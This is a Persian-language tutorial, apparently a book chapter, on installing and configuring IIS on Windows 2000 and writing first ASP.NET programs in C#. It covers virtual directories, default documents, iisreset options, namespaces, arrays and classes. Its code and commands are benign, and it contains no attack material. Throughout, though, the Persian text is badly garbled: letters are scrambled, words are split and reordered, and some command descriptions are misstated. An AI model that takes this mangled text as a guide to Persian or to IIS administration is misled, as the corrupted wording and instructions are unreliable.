ه  آن به نصب برای. باشد  موجود می هستند تی ان پایه بر هک بالا به ٢٠٠٠ های ویندوز های دی سی روی سمت   ب  Add/Remove ق

Programsرل ک در ل  نت ه  پن د ک مراجع سمت  و ني د ک انتخاب   راAdd/Remove windows components . ق  ی صفحه  از سپس  .ني
ه  شده ظاهر ام   ب زاد  امپوننت ک Windows ن ه  وی د  انتخاب  راInternet Information Services (IIS) ی  گزین  روی سپس  و نمایي

د  از پس . نمایيد انتخاب نيز آنرا ملحقات سایر تا نيدک کليک Details مهکد شردن  و جاری  صفحه  تایي ه  کد ف  IIS ی   مجموعه Next م
. ( نيد ک ریست را ویندوز باید حتما نصب از پس حالت این در) . پرسيد  خواهد شما از هم را ویندوزCD مسير احتمالا(شود  می نصب
   )٢ و١  های شکل
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 IIS ردن ک حذف یا اضافه ی  نحوه -١ شکل 
  

  :اید  ردهک انتخاب نصب هنگام هک IIS جزئيات  مورد در بيشتر توضيحات
  

• Documentation : ند ک می نصب را وابسته مثالهای و راهنما های فایل. 
• File Transfer Protocol (FTP) : ند ک می اضافه شما سایت به را آپلود و دانلود توانایی.  
• Front-page Server Extensions : انتخاب  را گزینه این نيد بهتر استک می استفاده پيج فرانت یا استودیو ویژوال از اگر 

  .نيد ک
• Internet Service Manager : سایت  وب مدیریتی های اییتوان وب تحت نگارش.  
• NNTP Service : پشتيبانی به اگر Network News نمایيد  انتخاب آنرا دارید نياز.  
• SMTP Service : ند ک می فراهم را ایميل دریافت یا و فرستادن توانایی.  
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  . IIS مختلف  های گزینه -٢ شکل 
  

  .نيد ک اجرا  را Internet Service Manger پنل نترلک  درAdministrative tools قسمت  از توانيد  میIIS مدیریت  برای
  

  :Net Framework نصب 
  

 ناقص  شماNet Framework نگارش نمایيد نصب  راIISسپس  و نصب آنرا ابتدا اگر! دهيد  انجام را ارک اینIIS نصب  از پس حتما
ی   های  نگارش  در احتمالا لکمش این. شد  خواهد د   برطرف IIS آت رای . شد   خواه  وجود  راه دو  حداقل Net Framework نصب  ب
 از  استفاده دوم راه. شد  خواهد نصب هم کور فریم نت دات آن همراه به هک استودیو است ویژوال مجموعه املک نصب اول راه: دارد 

Setupمی باشد   موجود ، نت اتد استودیو ویژوال های امپوننتک های دی سی روی بر هک است کور فریم نت بایتی دات مگا  بيست .
زی  نت  استودیو دات  ویژوال املک نصب برای. نيد ک کليک Next روی  بر فقط و ندارد خاصی تهکن هيچ آن نصب ا  ٢ حدود  چي  گيگ
  .بگذارید  نارک باید را بایت

  
 .نيدک نصب املک را نت داتهای  امپوننتک دی سی نيدک اجرا را خودتان فایلهای خواهيد می هک سروری امپيوترک روی بر ست ا بهتر
  !نيست  بيشتر بایت مگا ٤٠٠ حدود

  
  

   :ASP.NET برنامه  اولين ايجاد  برایIIS تنظيمات 
  

   : Home توریکداير انکم تغيير) الف 
  
ای  هک  انیک م ر  شما  سرور  وب فایله ره  آن روی ب ردد  می  ذخي ه  گ ام  ب وری  کدایر ن ا   وHome ت ناخته  Root ی ين   می  ش ن  شود تعي  ای
رد مسير   می  صورتIIS توسط  توریکردای يش  گي ه  آن تعویض  و باشد  می  C:\Inetpub\WWWROOT آن فرض  پ  مسير  هر  ب

  .است  پذیر انک امIIS توسط  دیگری
  نيدک اجرا ، پنل نترلک  درAdministrative tools قسمت  از  راInternet Service Manager ارکاین برای

   ) .٣شکل  ( 
د ک راست  کلي ک Default web siteروی  آن اجرای از پس ه  و ني را  خواص  گزین د    آن  Default web site ی صفحه . انتخاب نمایي

properties د   ظاهر ی Tab در.  شد   خواه ه   ای ام  ب د  می  Home Directory ن ن  تواني يش  مسير  ای د   تعویض  را فرض  پ  در( نمایي
   )۵ و ۴های  شکل) (  لزوم  صورت

 
دا  دسترسی  شما  سایت به هک  هنگامیUser های  توانایی مانند ریدیگ های گزینه صفحه این در د ک می  پي وان  می  را ن شاهده  ت . رد ک  م

  .باشند  افی میک موارد اغلب در هک  استBrowsingو Read آن فرض پيش مثال برای
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 .بالا به ٢٠٠٠ ویندوز های در مدیریتی مختلف های گزینه -٣ شکل

  
  :دارند  وجود زیر گزینه  سهHome توری کدایر تعيين برای صفحه این در
  

• A directory located on this computer : باشد  می فرض پيش و بوده واضح املاک هک.  
• A share location on another computer : دیگر  رامپيوتک  روی گذاشته شده کاشترا به توریکدایر کی حالت این در 

  .شود  می گرفته نظر  درHome عنوان به
A Redirection to a URL : د  فوروارد دیگر آدرسی ند و بهک پيدا دسترسی شما سایت به ندک سعی سیک اگر حالت این در شد   خواه

  .دهد  می  انجامwww.dot.tk سایت  هک اریک به شبيه. 
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 ١٠٥٦    صفحه

  
 .نمود انتخاب آنرا اصخو و گزینه ردک ت راسکليک آن روی باید فرض پيش سایت وب مختلف های قسمت ردنک تنظيم برای -٤ شکل

  
  

 :IIS در مجازی دايرکتوری يک ايجاد) ب 
  

 مثال برای. هستند  دسترسی قابل شما اربرانک برایHome (C:\Inetpub\WWWROOT)توری کدایر در ها توریکدایر ساب تمام
وری کدایر آن داخل  اگر  ه  مفروضی  ت ام   ب ه C:\Inetpub\WWWROOT\Tools باشد  داشته   وجود Test ن ر  رتصو   ب ل  زی  قاب

 http://localhost/test است  دستيابی
  
 شما سایت  وبHome توریکدر دایر توریکدایر ساب الزاما هک ردک استفاده هایی توریکدایر از توان می مجازی توریکدایر ایجاد با

د  روش این با توان سادگی می به  نيزC:\MyDir مانند توریکدایر از مثال برای. نيستند  ن  خصوصا  . شد  بهرهمن  هک هنگامي روش ای
  .دهد می نشان را خودش نيد ارزشک می استفاده سرور چندین از شما
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 ١٠٥٧    صفحه

  
  .IIS  درHome توریکدایر تنظيم - ٥ شکل

  
وار Action مه کد روی. نيد ک اجرا  راInternet Service Manager مجازی  توریکدایر کی ایجاد برای زار   از ن الای  اب  صفحه  ب
د  ک انتخاب  راVirtual Directory سپس  و New آیتم ا  را ارک این. ني تم  راست روی  کلي ک ب م Default Web Site آی د  می   ه  تواني
د  صفحه  در.  نيد ک کی لک Next روی  شده ظاهر گویی آمد خوش صفحه دهيد در انجام ام  بع د   وارد را دلبخواهی  ن  در صفحه . نمایي
 افی هستندک ها سایت اغلب برای آنها فرض پيش هک شده اند مشخص امنيتی موارد بعدی
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 ١٠٥٨    صفحه

  
 مجازی توریکدایر ایجاد ویزارد ردنک شروع ی نحوه -٦ شکل

  

  
 .مجازی توریکدایر برای نامی ردنک مشخص -٧ شکل
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 مجازی توریکدایر یکفيزی انکم ردنک مشخص -٨ شکل

  

  
 .مجازی توریکدایر با مرتبط امنيتی موارد تعيين -٩ شکل

  
  :دارد وجود ارکاین نجاما برای هم دیگری راه

  
وی  از. نيد ک انتخاب ، نمایيد مشخص مجازی توریکدایر بعنوان خواهيد می هک را توریک دایرWindows Explorer از استفاده با  من

د دایر  می هک را سایتی وب و نيدک کليک web sharing  مربوط Tab روی  بر  سپسProperties گزینه  فایل وری کخواهي  مجازی  ت
ام Edit Alias صفحه   در نيد وک کليک فولدر ردنک Share گزینه  روی. انتخاب نمایيد  نيدک ایجاد آن برای مشخص   را دل خواهی  ، ن
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 ١٠٦٠    صفحه

ن  حذف. نمایيد  کليک Ok روی  سپس. نمایيد  وری کدایر ای م  مجازی  ت ذیر  انک  امInternet Service Managerدر  ه ط . است   پ  فق
 .ند ک نمی حذف را ها فایل خود ، آن حذف. نيد ک انتخاب  راdelete و ردهک راست کليک آن روی است افیک
  

  
  .مجازی  دایرکتوری ایجاد دیگر ی نحوه - ١٠ شکل

  
 

  :مجازی  دايرکتوری يک ايجاد هنگام در ها دسترسی سطوح بر مروری
  
 

 آنها بر مروری است لازم هکشوید  می برورو مهم بسيار امنيتی گزینه ٥ با نيدک ایجاد را مجازی توریکدایر کی خواهيد می هکهنگامي
  :شود ارائه

  
د ک پيدا دسترسی شما سایت به توانند می اربرانک حالت این در: Read دسترسی  سطح • ات  نن را  و محتوی شاهده  آن د  ک م ه . (نن  ب

  )است  شده انتخاب فرض پيش صورت
ایی : Run Scripts دسترسی  سطح  • ا  ریپتکاس  اجرای  توان وری کدایر در را ه ه  بو ت د در  می  ارائ ن  ده رای  حالت  ای  ب

 ) .است  شده انتخاب فرض پيش( است  لازم شوند اجرا آنها در صورت باید  بهASP صفحات  هک هایی توریکدایر
ه  اجرای  انک ام : Execute دسترسی   سطح  • ا  برنام وری کدایر را ه د   می  مجازی  ت ن . ده ورد  ای رای دایر  م وری کب  های  ت

 .شود  فعال باید دارند سرور روی فایل ایجاد به نياز آنها در ود موجASP های  فایل هک مجازی
ن  در اربریک اگر. نند کمشاهده  را ها توریکدایر ساب تمام ليست تا سازد می قادر را اربرانک: Browse دسترسی  سطح •  ای

 مشاهده را ها فایل و ها توریکدایر ليست تواند ننماید ، می مشخص را ای صفحه و ندک وارد را توریکدایر کی آدرس حالت
 .گردد  می اینجا مشخص  درDefault Document اهميت . ند ک

  
  :ته کن
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 ١٠٦١    صفحه

 ، کلين  کی  ردنک فوروارد یا و ردک انتخاب هکشب در شده گذاشته کاشترا به فولدر کی را آن توان می هکHome  توریکدایر همانند
ن  مجازی  توریکدایر ایجاد به مربوط ویزارد در . دارد وجود نيز مجازی های توریکدایر برای انکام این  ه گرفت  نظر  در انک ام ای
ا  سپس ردوک انتخاب هارد روی را معمولی توریک دایرکی توان می ابتدا در لکمش این حل برای . است نشده  در آن خواص  انتخاب  ب
IISردک حل را لکمش و نمود وارد ه راکشب مسير توان  می.  

 
 

 : IIS ر  دDefault Document تنظيم 
  

ه  اربریک  هک  هنگامی  ه  شما  سایت  وب ب د ک می  مراجع وری کدایر کی  مسير  صرفا  و ن د ک مشخص  را ت دون  ن ام  نوشتن  ب  صفحه  ن
  . شود می فرستاده فرض پيش صفحه این به IIS در Default document ردنک مشخص صورت در ، درخواستی

  
ایلی  IIS اگر  . ردک انتخاب و مشخص ارکاین مانجا برای را فایل زیادی تعداد تا صفر توان می IIS در دا  را ف ا  کی  ردک ن پي ه  را خط  ب
د  می نمایش اربرک وری کدایر Browsing  انک ام رگ ا و ده ال  شما  را ت يد  ردهک  فع وری کدایر ليست  Error بجای  باش ا  ت ل  و ه ا  فای  ه

   .شوند می داده نمایش
  

ند  این ردنک مشخص برای زیر استاندارد های نام از است بهتر يش  س تفاده  فرض  پ د ک اس ا   Index.htm ني د  و Default.aspxو ی  مانن
   . اینها
د ک انتخاب  را Default website خواص پنجره . نيدک اجرا را Internet Service Manager  موارد این تنظيم برای ی  Tab و ني  ای
   .نيدک اصلاح را فرض پيش های نام  وردهک فعال را Enable default document  نيدک انتخاب را Document  نام به
  
  

  : نکته 
 . است  Document footer ، دارد وجود Default web site  خواص صفحه در Document  به مربوط Tab در هک دیگری گزینه
م  آن فرمت  .نيدک اضافه پاورقی کی خودتان سایت روی اسناد تمام به توان می ارکاین بوسيله د  ه  <bold> ؛ دمانن  باشد  H TML  بای

Copyright 2003</bold>.   
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 ١٠٦٢    صفحه

  .سایت وب کی فرض پيش سند ردنک مشخص - ١١ شکل
 

  : سايت وب يک مجدد اندازی راه و کردن متوقف
 

روس  یا و پشتيبان تهيه ، نگهداری مانند عملياتی انجام برای است لازم اوقات از گاهی ابی،  وی  ردنک متوقف    .ردک  فرا متوق  سایت  ی
 نمی  متوقف  را سایت حالت این  .است ميسر هم ردنک Pause . است مؤثر آنی صورت به سایت با اربرانک تمام رتباطا در سایت وب
ن  ابتدا است بهتر سایت مدیر ، مشغله پر و ارکپر بسيار های سایت وب برای  .ندک می جلوگيری جدید های فعاليت از اما ندک  را ارک  ای

   .دنک متوقف را سایت سپس و دهد انجام
  
  .ندارد وجود سرور وب کی ردنک Pause  یا ردنک متوقف برای زیادی دلایل ASP.NET  های برنامه از استفاده با
  

  
 .سایت وب کی ردنک متوقف یا و اندازی راه ی نحوه - ١٢ شکل

  
  : نکته 

 
  :است  زیر شرح به آن يست لداد انجام را ارکاین توان می هم فرمان خط طریق از
 

• :  iisreset /restartندک می اندازی راه سپس و متوقف را سرور وب. 
• iisreset /start : ندک می اندازی راه را سرور وب. 
• iisreset /stop : ندک می متوقف را سرور وب.  
• iisreset /reboot : ندک می راه اندازی مجدد را امپيوترک. 
• iisreset /rebootonerror : روز  صورت  در ا  ب ا  سازی  متوقف  مراحل  از کی  هر  خط دازی  راه ی سرور ؛   وب مجدد  ان

 .ندک می ریست را امپيوترک
• iisreset /status  :ندک می اندازی راه سپس و متوقف را سرور وب 
• iisreset /? : دهد می نمایش را دستور این راهنمای 

  
   : SubWeb ايجاد 

  
وری کدایر کی  وب ساب  ن  در . است  شما  سایت  وب حاوی  هک  است  مجازی  ت ا  حالت  ای  Front-page Server ردنک  اضافه  ب

Extensions ه  کی بتواند تا سازید می قادر را نت دات استودیو ویژوال ، مجازی توریکدایر به ن  در را برنام وری کدایر ای اد  ت  و ایج
ر ،  وب ساب  ایجاد برای  .نماید نگهداری د  راست  کلي ک IIS  در LocalHost  ونک آی روی ب وی  از و نمایي  Server  شده  ظاهر  من

extension web ام  همان اینجا در را توریکراید  نام شود می باز ویزارد صفحه کی  .نمایيد انتخاب را وری کدایر ن  در هک  مجازی  ت
 بعدی  صفحه در نيدک کليک Next  روی. نيد ک وارد title  قسمت در توانيد می هم را مختصری توضيح نمایيد وارد اید ردهک ایجاد قبل

ل  استودیو ویژوال در فولدر این، ارکاین انجام از پس ! تمام و نيدک کليک Next روی ردهک قبول را فرض يشپ گزینه  می  دسترسی  قاب
  .شود

  
SubWeb روی توان می تنها را root web کنيد مراجعه زیر سایت به بيشتر اطلاعات برای. ه درک ایجاد آن داخل فولدر یا و : 

http://www.microsoft.com/frontpage/wpp/serk 
ژوال  های  کامپوننت  دی سی  روی بر ی  دارد وجود FrontPage Server  نت  دات استودیو  وی ر  ول شود    WinXP روی ب  .نصب نمي

  .است Win2000 advanced server از استفاده راه بهترین
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   صفحه
١ ٦٣

  
   .پی اکس زویندو روی FrontPage Server نصب هنگام خطا پيغام - ١٣ شکل

  
  Ch 01 نام با مجازی توریکدایر کی -١ :ن تمري
رای   .گرفت  خواهد قرار آن درون شما سيلهای فا هک واقعی توریکدایر مسير . نيدک ایجاد ال  ب  می  D:\ASP_NET\Chapter01  مث
    کرد؟ تبدیل SubWeb  به آنرا توان می آیا . باشد

  
  

  ASP.NET رنامهب اولين ايجاد و#C گرای  شی نويسی برنامه زبان مقدمات با آشنايی
 

  :مقدمه 
  
 یجار  فصل C  زبان با اگر  .میشو یم آشنا ASP.NET  صفحات جادیا یبرا آن یسینو برنامه و #C ی ا هیپا اصول با فصل نیا در
د  حل لکمش ارکپشت یمک با نصورتیا ، دیدار ییآشنا ريغ در و بود خواهد شما یبرا یروان اريبس و ساده یفصل  مرور  نی ا .شد  خواه
د  . ردک  ميخواه  شروع  را نوشتن  دک  عیسر یليخ و باشد یمی باف فلسفه هرگونه از دور به و یاربردک اريبس ط  هک  است  یهیب را  فق  یب
  . یا صفحه چند فصل یک نه و باشد یم ازين املک یتابک به شارپ یس زبان ی شالوده و اساس با املک ییآشنا

  
   (NameSpaces) : نام فضاهای با آشنايی

  
د  رخ شما برنامه در توابع یها نام نيب یتداخل تا اند شده جادیا آنها مثال یبرا . هستند یسینو دک تیریمد یبرا یروش نام یفضاها  .نده

ا  نام پروژه یک در تمیآ دو است نکمم و دهد یم نشان را خود بزرگ یها پروژه در مساله نیا د ک داي پ را یسانیک  یه د  . نن  لهيوس  نیب
  :شود یم عمل ریز صورت به نام یفضا یک جادیا یبرا .ندک یم دايپ اهشک داخلت و تصادم شانس نیا

namespace anyName 
{ 
………. 
   Class anyClassName 
{ 
…….. 
} 
……. 
} 

را  . باشد  یم  System  نام یفضا ، کور میفر نت دات در یا هیپا نام یفضاها از یکی تفاده  یب وان  یم  آن از اس  کم ک ری ز دک  از ت
 : گرفت

using System; 
 صورت به آنها از استفاده روش هستند یدسترس قابل شما دک از خارج در و باشند یمpublic  فرض شيپ صورت به نام یفضاها تمام
  :است ریز
 

ProjectName.NameSpace.ClassName.MemberName 
  
  :دارد وجود نوشتن یابر راه دو حداقل مينک سورت و مرتب ميبخواه نت دات در را یا هیآرا اگر مثال یبرا
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 ١٠٦٤    صفحه

System.Array.Sort(strArray); 
  
   :ا یو
 

using System; 
Array.Sort(strArray); 

  
  .رديگ یم صورت دک در یسینو خلاصه صورت نیبد
  

  .ها خواص و توابع ، آن به هياول یده مقدار و ريمتغ فيتعر ، ها NameSpace از استفاده نحوه بر یمرور : اول برنامه
  
از  ی صفحه  در و دي نک اجرا  را نت  دات ویستود ا ژوالی و ه کد یرو شده  ب ا  دیي نما يک لک New Project م وان  ت روژه  یک  بت  دی جد پ

ASP.NET ل   از .ردک  شروع  را ه یگز Project  پن ل  از و .دي نک انتخاب Visual C# Project  ن ه یگز چپ  سمت  پن  ASP.NET  ن
Web Application قسمت در  .دينیزبر گ را  Location ور کریدا در را دلخواه ینام ديتوان یم  اگر  ای  و دي نک مشخص  Home ی ت

ا  دينک يکلکOk  مهکد یرو ار،ک ردنک مشخص از پس . دیينما انتخاب نجایا در آنرا ، دیا ردهک درست یمجاز یتورکریدا ا  لی فا ت  یه
  ) ٢ و ١شکل های  . ( شوند ساخته پروژه هياول
  

  
  
  #VC  از استفاده با ASP.NET دیدج پروژه یک ردنک آغاز -١ل کش
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 ١٠٦٥    صفحه

  
  
   .شوند یم جادیا VS.NET توسط يکاتومات صورت به هک ییها لیفا -٢ لکش
  
  )٣شکل  . (ديده قرار فرم یرو را (Button)مهکد یک و Label یک  صفحه نارک ToolBox  از
  

  
  
  .فرم یرو بر بليل یک و مهکد یک دادن قرار -٣ لکش
  
 

وان  شود  یم  زده صدا مهکد یرو بر شدن يکلک دادیرو دادن رخ هنگام در هک یتابع در ميبتوان تا دينک يکلک دوبار مهکد یرو حالا  ميبت
 یفضاها  از یسر  یک  فرض  شيپ  صورت به دينک دقت.  ندیگويم همCode Behind  آن به هک شده باز ی صفحه به اگر .ميسیبنو دک
 . است شده گنجانده سورس نیا در لازم و ديمف نام
  
  
را  .دهد نشان را " است من ی برنامه نياول نیا ! سلام "ی  جمله او به ردک يکلک مهکد نیا یرو اربرک بار هر ميخواه یم  ارک نیا یب
  .شود یم انتخاب راه نیتر یطولان ، اصول از یسر یک مرور یبرا فقط ،
  

دا  در خلاصه  صورت به ريمتغ نوع است بهتر . دينک فیتعر strText نام به  string نوع از ريمتغ یک .١ ام  یابت  رک ذ ري متغ ن
 .شود

 )بالا ی جمله ای و " سلام " مثال یبرا (دينک هياول یده مقدار آنرا .٢
 .ردک استفاده آن از توان ینم دينکن هياول یده مقدار را یريمتغ تا# C در  .نوشت یفارس آن داخل توان یم یراحت به .٣
رم  یرو هک یبليل مربوط Text  تيخاص به ميخواه یم .۴ سبت  را ري متغ نی ا می ا گذاشته  ف ام  . ميده  ن ل يل ن  راLabel 1 ی عن ی ب

د  باز دهد یم شینما را نترلک نیا یها ییتوانا تمام هک منو یک آن یجلو در نقطه یک همراه به ديسیبنو ) . ۴شکل   (شد  خواه
ا  لریامپاک با اگر ( ديده نسبت آن به را فوق ريمتغ و دينک انتخاب آنرا Text  نهیگز  یم  ملاحظه  ديباش  ردهک  ارک  ژوالی و یه
 )باشد  یم آنها مانند زيچ همه هک دينک
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  .بليل نترلک به مربوط ... و خواص ، مدتها انواع دهنده شینما  autocomplete یمنو -٤ لکش
  

ر  ردنک  يکلک با . شود اجرا وب گر مرور در برنامه تا دينک يکلک F5  مهکد یرو بر حالا .۵ ه  یرو ب ه کد در هک  یآدرس  ب  ، م
  .دينک دقت زين شود یم نوشته سپلوررکا نترنتیا Address Bar  شود یم داده شینما ، سلام

  

  
  
  .روسافتیکما وب مرورگر در مهکد یرو ردنک يکلک از پس برنامه یخروج -٥ لکش
 
  

  :ردک توجه دیبا ریز اتکن به یسینو یفارس یبرا . ام ردهک انتخاب را مثال نیا عمدا
  

 صفحه یرو یخال یجا یک در سپس . دينک يکل کWebForm1.aspx  به مربوط Tab ی رو بر ویاستود ژوالیو طيمح در •
و  یرو حالا  .شود  داده شینما ویاستود ژوالیو طيمح چپ سمت درDocument  خواص ی صفحه تا دیينما يکلک ا  یمن  نیيپ

 )۶شکل  . (دينک انتخاب را  Unicode(UTF-8)ی نهیگز و دينک يکلک charset ی افتادن
 . دارد قرار مثلث علامت  یکsave   مهکد یرو . دينک انتخاب را save as ی  نهیگز لیفا یمنو از حالا  !ستين یافک هم باز •

 صفحه و دیينما يکل کSave with encoding نهیگز یرو حالا) . ٧شکل (شود  باز دیجد یمنو یک تا نموده يکلک آن یرو
د  شده  ظاهر  ی صفحه  از و دي نک دیي تا را شده باز اخطار ی ه یگز Encoding  تمی آ از یبع  Unicode ( UTF-8 with ی ن

signature) ديشکب راحت نفس یک حالا . دينیزبر گ را!  
 
م  به مورد در ینگران چيه بدون و راحت اليخ با پس نیا از ه  یفارس  فرمت  ختن یر ه ه  دي توان یم  برنام ا  برنام  رد ( دیي نما اجرا  را ه

  )است  ايمه ها سورس مورد در فقط نهیگز نیا و دهد یم انجام را کار نيهم هم advanced save options نهیگز لیفا منوی
 
  
  .بود خواهد صورت نيهم به زين پس نیا از ارک روال و شود یم هیارا فصل همراه به قسمت نیا شده املک دک
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   . یخروج صفحهcharset  ردنک مشخص یبرا ديکونی انتخاب -٦ لکش
  

 
  
 .شود انتخاب ديکونی دیبا زين لیفا فرمت -٧ لکش
  

  : شده ارائه کد در شده گرفته بکار مفاهيم بر مروی
 

  : دک ردنک فرمت
 
اده  آن از مجدد  استفاده و ینگهدار ، خواندن ، باشد بهتر شما دک ننوشت ن فرمت چقدر هر ر  س د  ت ود  خواه ورد  دو . ب م  م ه  مه  دار دندان
س  یميت یسینو رنامهب در خصوصا حاتيتوض نوشتن . باشد یم ها امنتک ای و حاتيتوض نوشتن و یسینو م  اريب  . است  ساز  ارک  و مه
 است معتبر زين /* …….. */ هنوز C همانند و )++C (مانند یشود م استفاده امنتک نوشتن یبرا // از #C در
 
  : تهکن

را  ای  و دی دار یم  نگه autocomplete ی منو در یتمیآ هر یور را ماوس رسرک هک یهنگام ديباش ردهک دقت اگر  دي نک یم  انتخاب  آن
ه  امنت ک نيچن  نوشتن روش .باشد یم تابع آن به مربوط امنتک قتيحق در هک شود یم داده شینما کوچک یراهنما یک  در هک  یا حرف
   .شود نوشته .... و لاسک ای تيخاص ای تابع ره از قبل (!) است بهتر هک است ریز صورت به شود ظاهر ویاستود ژوالیو یها منو

 
///<summary> 
/// 
/// 
///</summary> 
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  : آن به دهی مقدار و متغير تعريف
  
 ها زبان از یبعض برخلاف #C در . شود یم داده اختصاص ، داده یساز رهيذخ یبرا حافظه از یا هيناح ، ريمتغ یک رييتغ هنگام در
  .دیينما هياول هیمقدار د آنرا هم و دينک فیتعر را ريمتغ نوع دیبا هم ، ندارند ار هيمتغ حیصر فیتعر به یازين هک
  

 !ردک خواهد گوشزد خطایک  با شما به آنرا حتما لریامپاک !ستين مهم دينک هياول یده مقدار را یريمتغ هک دیردک فراموش اگر البته
 .ردک خواهد یريجلوگ مقدار بدون ريمتغ دو زدن جمع مانند اجرا زمان یخطاها از یاريبس از ريمتغ یک هياول یده مقدار

  
  : خواص از استفاده

  
 به یدسترس انکام هک است یعضو property یک . دينک اديپ یدسترس ديتوان یم آن خواص از استفاده با یش یک یها یژگیو به شما
 نندهک مصرف یک نام و فرم یک عنوان ، فونت یک زیسا (string) رشته یک طول مثال یبرا . ندک یم فراهم را لاسک ای یش یژگیو
  هستند تيخاص ،
  
ا  . دی ريبگ نظر در را DateTime یش مثال یبرا . دارند همراه به را یادیز ديمف خواص ، کور میفر نت دات یذات اياش از یاريبس  ب

ا  است  لازم تيخاص یک از هاستفاد یبرا .آورد بدست را ستميس یجار خیتار توان یم آنToday  تيخاص از استفاده  فی تعر لاسک  ت
ام  یفضا ن ردک وارد از پس . باشد یم مربوطه نام یفضا از استفاده همان منظور . باشد ايمه برنامه در یش نندهک ورد  لاسک  ن  نظر  م
 ردنک وارد با ای و مانند شوند رکذ دیبا موارد تمام املک صورت به ای شد رکذ هک همانطور . دينک استفاده آن خواص و یش از ديتوان یم

  .دیگرد رکذيز ن شتريپ هک رديگ یم صورت یساز وتاه ک;System System.DateTime.Now نام یفضا
  

   :#C  دوم برنامه در ها حلقه و ها هيآرا بر یمرور
 
   .ميده شینما را آنها دهش مرتب سپس و لیتبد آنها ديکونی متناظر ریمقاد به را اتر هکاراک از یا هیآرا ميخواه یم برنامه نیا در
  

را  .مين ک ارک  همجنس  اطلاعات  از یا مجموعه با ميبخواه هک شوند یم جادیا را ها هیآرا یهنگام ه  یب ال  نی ا در نمون  هی آرا یک  از مث
دار  و فی تعر دی با پس  هستند ريمتغ نوع یک هم ها هیآرا . میينما استفاده ميخواه یم ترکاراک یتعداد رهيذخ یبرا  ، شوند  هي لاو یده  مق
 ن یاول باشد، داشته عضو ده []chrData  هیآرا اگر مثال یبرا بوده صفر هیآرا نیيپا حد . گردد نيمع دیبا زين آنها یاعضا تعداد و نوع

   .استchrData[9]  آن عضو نیآخر وchrData [0] آن عضو
  
   :دارد وجود مختلف راه نیچند هیآرا فیتعر یبرا
 
 .آن هياول دهی مقدار و ها تهرش از یا هیآرا فیتعر -١

String[] strData = new string[2]; 
  
 هياول یده مقدار و فیتعر -٢

string [] strData = { "1234","abcd" }; 
  
 .باشد ینم آن طول نييتع به یازين حالت نیا در . است شده جادیا هياول یده مقدار با عضو ٢ طول به یا رشته نوع از یا هیآرا هک
  
 هياول یده مقدار یبرا گرید یروش -٣

strData[0] = "1234"; 
strData[1] = "abcd"; 

  
ا  ارک یبرا را یجالب اناتکام هک دارد وجودArray  نام به یلاسک نت دات در ا  هی آرا ب ه  ه د  یم  ارائ را  . ده ال  یب ابع  مث ه  آنSort  ت  ب

وان  یم یسادگ به بالا تعداد با هیراآ یک یاعضا یک یاعضا نيب تکحر یبرا .ندک یم مرتب را هیآرا یک یسادگ ه  از ت  و for ی  حلق
  .ردک استفاده  foreach ای
 
  :مثال یبرا

for( int i=0 ; i< strData.Length ; i++) 
do some things! 
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 یعضو   (دی اين شيپ  نشده فیتعر هک یعضو به یدسترس عدم لکمش تا شود کچ هیآرا طول است لازم حتما ها هیآرا با ارک هنگام در
  )ندارد  قرار هیآرا رانک در هک
 
را  یاعضا حلقهیک  از استفاده با سپس و دينک فیتعر ١٠ طول به دلخواه ییاعضا با هیآرا یک دوم برنامه نوشتن یبرا ه  کت  کت  آن  ب
  :دينک ادهاستف ریز دک از ديکونی به لیتبدی برا . دیينما رهيذخ گرید هیآرا یک در و دیينما لیتبد معادل ديکونی ریمقاد

  
 از سکبا ستکت هکنیا یبرا . ديده شینماTextBox یک  در آنرا یخروج سپس و ردهک سورت آنرا Array  لاسک از استفاده با سپس
د  و دیايب برون یخط یک حالت را  TextMode تيخاص  شود  یخط  چن ه  آن ال  نی ا .دي ده ريي تغ MultiLine ب ه  را مث وان  ب  نیتمر  عن

 یاحتمال نامفهوم یها قسمت و نظرات . دينک سهیمقا فصل همراه source با را تان شده نوشته دک سپس و دينک ليمکت ديتوان یم خودتان
  .ردک مطرح forum در توان یم را
 

  ها متد ، ها لاسک با شتريب يیآشنا
  
 خواص با . دهند یم انجام را ، ارهاک از یسر یک از یا مجموعه و هستند لاسک ای یش یک یاعضاC  زبان در توابع همان ای  ها متد
ا  متد کور میفر نت دات یها لاسک از یاريبس . دیشد آشنا قبل یها قسمت در هک هم ع  ای  و ه اده  آ و حاضر  دي مف تواب د  را یا م  . دارن
ر  یطولان  رشته  یک  صورت  به را خیتار هک دارد ToLongDatastring ، نام به یمتدDateTime  لاسک مثال یبرا د  یم  ب  .گردان
  :شود یم عمل ریز صورت به شد گفته هک همانطور  لاسک یک فیتعر یابر
 

class myClassName 
{ 
……… 
} 

 یم رکذ) هيچی ( void مانند تابع یخروج نوع سپس private و public  مانند آن به یدسترس سطح ابتدا تابع ای متد یک فیتعر یبرا
ا  و شروع  { با دیبا تابع سپس .ردک یمعرف را یورود یها آرگومانی قوله ب ای تابع یها یورود توان یم پرانتزها نیا داخل هک گردد  ب
  : مثال یبرا .ابدی خاتمه } یک

 
public int myFunc( int x ) 
{ 
...…. 
} 

ابع  یک  لهيبوس  .باشد  داشته  یخروج یشماريب تعداد تا صفر و یورود آرگومان یشماريب تعداد تا صفر تواند یم یتابع هر وان  یم  ت  ت
اه  . داد انجام را اتيعمل از یسر یک ، آن نام زدن صدا با صرفا و ردک یمخف را ارک یدگيچيپ ات  از یگ د  ای  دو شود  یم  لازم اوق  چن

ا  آنها یورود یها آرگومان نوع ای و یخروج ریمقاد ای یورود یپارامترها هیکبطور ميباش داشته نام یک با تابع م  ب اوت  ه ه  باشد  متف  ب
   .ندیگو یمoverloading ارک نیا

 
  : است ریز صورت به یلک قاعده خواص فیتعر یبرا
 

AnyType propertyName 
{ 
get; 
set; 
} 

  
  ها لاسک در یدسترس سطوح بر یمرور و ها متد ، خواص ، لاسک فيتعر : سوم برنامه

 
د  یک  توسط  و افتیرد را هدو رشت ، خواص از استفاده با آن در هک مينک فیتعر را یلاسک ميخواه یم برنامه نیا در اده  مت  دو نی ا ، س

دا  رشته  نی ا طول آن هک گرید یتيخاص مطابق آن از ترکاراک یتعداد و دهیگرد متصل هم به رشته ا  از را شده  ج  مشخص  رشته  یانته
  ) .شوند  می مرور گرید فصول در خطا کنترل به مربوط های بحث ( ميده شینما ، ندک یم
 
 فصل همراه سورس به توان یم و بوده ساده برنامه نیا ، تيخاص و توابع ، ها لاسک فیتعر مورد در شده ارائه حاتيتوض به توجه با

 .ردک مراجعه
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ع  از یکی  ، گر ید یا رشته  درون از یا رشته  ردنک  دايپ و رشته با ارک یبرا فقط ر  تواب وده  substring اربردک  پ اده  و ب ر  س  راه نیت
